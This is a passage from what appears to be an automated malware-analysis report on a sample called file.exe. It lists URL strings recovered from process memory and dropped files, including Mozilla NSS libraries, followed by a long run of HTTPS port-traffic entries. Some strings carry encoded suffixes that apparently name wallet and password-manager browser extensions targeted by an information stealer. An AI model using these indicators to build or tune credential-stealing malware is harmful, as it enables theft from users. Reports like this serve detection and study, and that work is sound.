Source: chrome.exe, 00000002.00000003.2247100114.000012240262C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247588564.000012240340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247267223.00001224032C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://photos.google.com?referrer=CHROME_NTP
Source: chrome.exe, 00000002.00000003.2245415337.0000122402FC8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://policies.google.com/
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://powerpoint.new?from=EdgeM365Shoreline
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000002.00000003.2261402966.0000122402538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000002.00000003.2265955270.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266855404.00001224039B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267445042.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266121680.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266278062.00001224039A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2268438576.0000122403A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267513304.000012240391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266747352.00001224039B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/gb/images/bar/al-icon.png
Source: file.exe, 00000000.00000003.2521028267.0000000023B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2521028267.0000000023B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://tidal.com/
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://twitter.com/
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://vibe.naver.com/today
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://web.skype.com/?browsername=edge_stable_shoreline
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://web.telegram.org/
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://web.whatsapp.com
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://word.new?from=EdgeM365Shoreline
Source: file.exe, 00000000.00000002.2601149719.00000000238DD000.00000004.00000020.00020000.00000000.sdmp, GDAAKFIDGIEGDGDHIDAK.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: file.exe, 00000000.00000002.2601149719.00000000238DD000.00000004.00000020.00020000.00000000.sdmp, GDAAKFIDGIEGDGDHIDAK.0.dr	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.deezer.com/
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: file.exe, 00000000.00000002.2580701195.000000000145C000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: chrome.exe, 00000002.00000003.2261402966.0000122402538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000002.00000003.2261402966.0000122402538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000002.00000003.2261402966.0000122402538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000002.00000003.2255958411.0000122402EAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2245415337.0000122402FC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2247540363.000012240319C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: content_new.js.9.dr, content.js.9.dr	String found in binary or memory: https://www.google.com/chrome
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: file.exe, 00000000.00000002.2580701195.000000000145C000.00000004.00000020.00020000.00000000.sdmp, CFHIIJDB.0.dr, Web Data.9.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000002.00000003.2265955270.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266855404.00001224039B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267445042.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266121680.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266278062.00001224039A8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2268438576.0000122403A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267513304.000012240391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266747352.00001224039B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000002.00000003.2266747352.00001224039B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000002.00000003.2247267223.00001224032C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266747352.00001224039B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/url?q=https://google.com/chrome/safety%3Fbrand%3DKFKH%26utm_source%3Dweb%26ut
Source: chrome.exe, 00000002.00000003.2261402966.0000122402538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.comAccess-Control-Allow-Credentials:
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000002.00000003.2281181173.0000122403CF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281103058.0000122403CE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281060316.0000122403CE4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2281144385.0000122403CEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000002.00000003.2269146570.0000122403A30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2271663926.0000122403A30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000002.00000003.2261402966.0000122402538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: chrome.exe, 00000002.00000003.2261402966.0000122402538000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000002.00000003.2265955270.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267445042.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266881263.00001224039D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266121680.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2268438576.0000122403A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267282225.000012240394C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2267513304.000012240391C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266747352.00001224039B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.mTUNAFoITms.2019.O/rt=j/m=q_d
Source: chrome.exe, 00000002.00000003.2265755152.0000122403900000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2266747352.00001224039B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.iheart.com/podcast/
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.instagram.com
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.last.fm/
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.messenger.com
Source: file.exe, 00000000.00000002.2578960631.0000000000C64000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2578960631.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: file.exe, 00000000.00000003.2521028267.0000000023B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: file.exe, 00000000.00000002.2578960631.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: file.exe, 00000000.00000003.2521028267.0000000023B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: file.exe, 00000000.00000002.2578960631.0000000000C64000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2578960631.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000002.2578960631.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/280x1024
Source: file.exe, 00000000.00000003.2521028267.0000000023B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: file.exe, 00000000.00000002.2578960631.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: file.exe, 00000000.00000002.2578960631.0000000000C64000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: file.exe, 00000000.00000003.2521028267.0000000023B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000003.2521028267.0000000023B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: file.exe, 00000000.00000002.2578960631.0000000000C64000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2578960631.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.2521028267.0000000023B46000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.2578960631.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: file.exe, 00000000.00000002.2578960631.0000000000C36000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&game
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/cgSideBar/widget?experiences=CasualGamesHub&sharedHeader=1&item
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&item=fl
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.msn.com/widgets/fullpage/gaming/widget?experiences=CasualGamesHub&sharedHeader=1&playInS
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.office.com
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.officeplus.cn/?sid=shoreline&endpoint=OPPC&source=OPCNshoreline
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=1
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotes?isEdgeHub=true&auth=2
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=1
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.onenote.com/stickynotesstaging?isEdgeHub=true&auth=2
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://www.youtube.com
Source: chrome.exe, 00000002.00000003.2247065063.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2263455228.0000122402DCC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: https://y.music.163.com/m/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 50085 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50107 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 50120 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50130 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 50062 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 50119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 50061 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
